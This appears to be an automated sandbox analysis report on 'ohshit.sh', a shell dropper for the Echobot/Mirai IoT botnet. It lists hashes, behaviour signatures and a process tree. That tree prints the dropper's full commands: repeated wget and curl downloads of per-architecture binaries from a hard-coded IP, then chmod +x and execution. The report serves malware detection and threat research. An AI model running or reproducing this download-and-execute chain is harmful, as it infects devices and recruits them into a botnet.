Analysis

  • max time kernel
    122s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25-11-2024 21:40

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    81eee2b1d28af46c8e9190b0c20fce28

  • SHA1

    8025e6d6f83b129d6c7a11a684d5d6f54d160333

  • SHA256

    b86582605641a45410c0811cec9d1d19deb98bb5c4f5cd27caa06949e2ec7e30

  • SHA512

    359baa5371f4f8cbd4c3caf9cb1b02624b22d8cadd63722c2a9db673e73df55f6f75988e988911ee731e3b30b5a1c22207cd9a8aebb933c38bab17f9a1f8df45

Malware Config

Signatures

  • Detected Echobot 3 IoCs
  • Echobot

    An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.

  • Echobot family
  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (101243) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 18 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 9 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 9 IoCs
  • Reads system network configuration 1 TTPs 9 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:709
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:713
    • /usr/bin/wget
      wget http://64.235.37.140/bins/jade.arc
      2⤵
        PID:716
      • /usr/bin/curl
        curl -O http://64.235.37.140/bins/jade.arc
        2⤵
        • Writes file to tmp directory
        PID:729
      • /bin/cat
        cat jade.arc
        2⤵
          PID:736
        • /bin/chmod
          chmod +x busybox Chaotic jade.arc ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/Chaotic
          ./Chaotic
          2⤵
          • Executes dropped EXE
          PID:739
        • /usr/bin/wget
          wget http://64.235.37.140/bins/jade.x86
          2⤵
          • Writes file to tmp directory
          PID:741
        • /usr/bin/curl
          curl -O http://64.235.37.140/bins/jade.x86
          2⤵
          • Writes file to tmp directory
          PID:743
        • /bin/cat
          cat jade.x86
          2⤵
            PID:745
          • /bin/chmod
            chmod +x busybox Chaotic jade.arc jade.x86 ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/Chaotic
            ./Chaotic
            2⤵
            • Executes dropped EXE
            PID:747
          • /usr/bin/wget
            wget http://64.235.37.140/bins/jade.x86_64
            2⤵
              PID:749
            • /usr/bin/curl
              curl -O http://64.235.37.140/bins/jade.x86_64
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/cat
              cat jade.x86_64
              2⤵
                PID:751
              • /bin/chmod
                chmod +x busybox Chaotic jade.arc jade.x86 jade.x86_64 ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
                2⤵
                • File and Directory Permissions Modification
                PID:752
              • /tmp/Chaotic
                ./Chaotic
                2⤵
                • Executes dropped EXE
                PID:753
              • /usr/bin/wget
                wget http://64.235.37.140/bins/jade.i686
                2⤵
                  PID:754
                • /usr/bin/curl
                  curl -O http://64.235.37.140/bins/jade.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:755
                • /bin/cat
                  cat jade.i686
                  2⤵
                    PID:762
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.x86 jade.x86_64 ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
                    2⤵
                    • File and Directory Permissions Modification
                    PID:764
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:765
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mips
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:767
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mips
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:779
                  • /bin/cat
                    cat jade.mips
                    2⤵
                    • System Network Configuration Discovery
                    PID:788
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.x86 jade.x86_64 ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
                    2⤵
                    • File and Directory Permissions Modification
                    PID:790
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:791
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mips64
                    2⤵
                    • System Network Configuration Discovery
                    PID:794
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mips64
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:801
                  • /bin/cat
                    cat jade.mips64
                    2⤵
                    • System Network Configuration Discovery
                    PID:811
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.mips64 jade.x86 jade.x86_64 ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
                    2⤵
                    • File and Directory Permissions Modification
                    PID:812
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:813
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mpsl
                    2⤵
                    • Writes file to tmp directory
                    PID:814
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mpsl
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:816
                  • /bin/cat
                    cat jade.mpsl
                    2⤵
                      PID:817
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
                      2⤵
                      • File and Directory Permissions Modification
                      PID:818
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:819
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.arm
                      2⤵
                      • Writes file to tmp directory
                      PID:826
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.arm
                      2⤵
                      • Writes file to tmp directory
                      PID:830
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.arm jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
                      2⤵
                      • File and Directory Permissions Modification
                      PID:832
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:833
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.arm5
                      2⤵
                      • Writes file to tmp directory
                      PID:878
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.arm5
                      2⤵
                      • Writes file to tmp directory
                      PID:879
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh systemd-private-819d5c3ad7eb4daf80a8012e11071e4a-systemd-timedated.service-RHwHo4
                      2⤵
                      • File and Directory Permissions Modification
                      PID:881
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:882
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:889
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:896
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:898
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:899
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:903
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.arm7
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:910
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:912
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:913
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.ppc
                      2⤵
                      • Writes file to tmp directory
                      PID:917
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.ppc
                      2⤵
                      • Writes file to tmp directory
                      PID:924
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.ppc jade.x86 jade.x86_64 ohshit.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:926
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:927
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.sparc
                      2⤵
                        PID:931
                      • /usr/bin/curl
                        curl -O http://64.235.37.140/bins/jade.sparc
                        2⤵
                        • Writes file to tmp directory
                        PID:938
                      • /bin/chmod
                        chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.ppc jade.sparc jade.x86 jade.x86_64 ohshit.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:940
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:941
                      • /usr/bin/wget
                        wget http://64.235.37.140/bins/jade.m68k
                        2⤵
                        • Writes file to tmp directory
                        PID:948
                      • /usr/bin/curl
                        curl -O http://64.235.37.140/bins/jade.m68k
                        2⤵
                        • Writes file to tmp directory
                        PID:952
                      • /bin/chmod
                        chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.m68k jade.mips jade.mips64 jade.mpsl jade.ppc jade.sparc jade.x86 jade.x86_64 ohshit.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:954
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:955
                      • /usr/bin/wget
                        wget http://64.235.37.140/bins/jade.sh4
                        2⤵
                        • Writes file to tmp directory
                        PID:959
                      • /usr/bin/curl
                        curl -O http://64.235.37.140/bins/jade.sh4
                        2⤵
                        • Writes file to tmp directory
                        PID:966
                      • /bin/chmod
                        chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.m68k jade.mips jade.mips64 jade.mpsl jade.ppc jade.sh4 jade.sparc jade.x86 jade.x86_64 ohshit.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:968
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:969

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/Chaotic

                      Filesize

                      68KB

                      MD5

                      60e197919a265617f21c21e25320c549

                      SHA1

                      b06f09b251f855c2e3cadbee08e426be790698cf

                      SHA256

                      bd145676c6767709d39d47eb2bb2fe5051b790db64bf150b233d3f49438346b2

                      SHA512

                      652f8341e27f00272f3ee4164900c5f02e0c7c763b9edc0405107ce2126ce2c700c9318e3ea29a73125d77d4b16b961860a514b0580170d019976fa7765792d1

                    • /tmp/Chaotic

                      Filesize

                      95KB

                      MD5

                      2856dfee64ce9df390f7c08f3faa4511

                      SHA1

                      a39ec395140d9f12df3f3ce77b40380a22bcd336

                      SHA256

                      10cde4e442151ff031996d6cd72f7da0df4ce93f434caed9a21e14ed1e1a60dc

                      SHA512

                      d089fe05d65e225b160306f738588496119d1329c24aba8613b751388f49f8deb0ec45c0ac2a1df40e3208102404d0a029a2c72fd4bef9db6c31080afcee5b3e

                    • /tmp/Chaotic

                      Filesize

                      99KB

                      MD5

                      76cf3254fe0edc004c32d783121b22aa

                      SHA1

                      52cc6b66ab21bd829f2c2a4ea9c94042b5d7ef04

                      SHA256

                      39c546a6629fbd0967b647c4ff43c4c46e8b96ceda09df5219adc2318e4b5e36

                      SHA512

                      9c047c503ef952804250ad1abcbf1244671177fbba62061f743d1d840663350d4c74d1ea41cd31a14c621cf2b079315bf4242746c5c65c5ea7801112f85358fc

                    • /tmp/busybox

                      Filesize

                      857KB

                      MD5

                      6ffc46165b5d9726a6607f3ea5305589

                      SHA1

                      ab127220f42e816b413dde0d17031e251a7bc98f

                      SHA256

                      80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                      SHA512

                      456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

                    • /tmp/jade.arc

                      Filesize

                      275B

                      MD5

                      cba0261779bc762dcaa59e48bca8c298

                      SHA1

                      f5747b8818b87d36e684c31ee32cae265ae63cd0

                      SHA256

                      52ea3a00ff42e925a9f1862b63765b9ac279abb244f7e43ac010e42c76fcc918

                      SHA512

                      f322ac8ba03308f52db0478080d60f419d2bc195d4eeccee0365fd66d13f99032c491f55ae952dd9685064825f07b5c8c381a68ca3928c22164009861b3da702